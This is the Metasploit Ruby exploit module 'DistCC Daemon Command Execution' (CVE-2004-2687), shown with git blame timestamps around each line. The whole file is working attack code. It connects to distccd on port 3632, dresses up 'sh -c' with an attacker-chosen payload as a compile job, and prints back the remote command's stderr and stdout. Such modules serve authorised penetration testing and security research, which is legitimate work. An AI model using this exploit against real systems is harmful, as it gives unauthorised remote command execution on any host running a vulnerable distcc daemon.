2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-03-10 07:13:18 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2006-01-21 05:05:19 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-01-21 05:05:19 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-03-10 07:13:18 +00:00
|
|
|
super(update_info(info,
|
2006-01-21 05:05:19 +00:00
|
|
|
'Name' => 'DistCC Daemon Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses a documented security weakness to execute
|
|
|
|
arbitrary commands on any system running distccd.
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-21 05:05:19 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'CVE', '2004-2687'],
|
|
|
|
[ 'OSVDB', '13378' ],
|
2006-01-21 05:05:19 +00:00
|
|
|
[ 'URL', 'http://distcc.samba.org/security.html'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
2010-03-10 07:13:18 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
2006-01-21 05:05:19 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
|
|
}
|
2006-01-21 05:05:19 +00:00
|
|
|
},
|
2010-03-10 07:13:18 +00:00
|
|
|
'Targets' =>
|
2006-01-21 05:05:19 +00:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Feb 01 2002'
|
|
|
|
))
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(3632)
|
2010-03-10 07:13:18 +00:00
|
|
|
], self.class)
|
2006-01-21 05:05:19 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2006-07-30 21:31:02 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
distcmd = dist_cmd("sh", "-c", payload.encoded);
|
|
|
|
sock.put(distcmd)
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
dtag = rand_text_alphanumeric(10)
|
2006-01-21 05:05:19 +00:00
|
|
|
sock.put("DOTI0000000A#{dtag}\n")
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
res = sock.get_once(24, 5)
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2009-10-25 17:18:23 +00:00
|
|
|
if !(res and res.length == 24)
|
2006-01-21 05:05:19 +00:00
|
|
|
print_status("The remote distccd did not reply to our request")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
# Check STDERR
|
|
|
|
res = sock.get_once(4, 5)
|
|
|
|
res = sock.get_once(8, 5)
|
|
|
|
len = [res].pack("H*").unpack("N")[0]
|
2010-03-10 07:13:18 +00:00
|
|
|
|
|
|
|
return if not len
|
2006-01-21 05:05:19 +00:00
|
|
|
if (len > 0)
|
|
|
|
res = sock.get_once(len, 5)
|
|
|
|
res.split("\n").each do |line|
|
|
|
|
print_status("stderr: #{line}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check STDOUT
|
|
|
|
res = sock.get_once(4, 5)
|
|
|
|
res = sock.get_once(8, 5)
|
|
|
|
len = [res].pack("H*").unpack("N")[0]
|
2010-03-10 07:13:18 +00:00
|
|
|
|
|
|
|
return if not len
|
2006-01-21 05:05:19 +00:00
|
|
|
if (len > 0)
|
|
|
|
res = sock.get_once(len, 5)
|
|
|
|
res.split("\n").each do |line|
|
|
|
|
print_status("stdout: #{line}")
|
|
|
|
end
|
|
|
|
end
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2010-03-10 07:13:18 +00:00
|
|
|
|
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
# Generate a distccd command
|
|
|
|
def dist_cmd(*args)
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
# Convince distccd that this is a compile
|
|
|
|
args.concat(%w{# -c main.c -o main.o})
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
# Set distcc 'magic fairy dust' and argument count
|
|
|
|
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
# Set the command arguments
|
|
|
|
args.each do |arg|
|
|
|
|
res << sprintf("ARGV%.8x%s", arg.length, arg)
|
|
|
|
end
|
2010-03-10 07:13:18 +00:00
|
|
|
|
2006-01-21 05:05:19 +00:00
|
|
|
return res
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|
2010-03-10 07:13:18 +00:00
|
|
|
|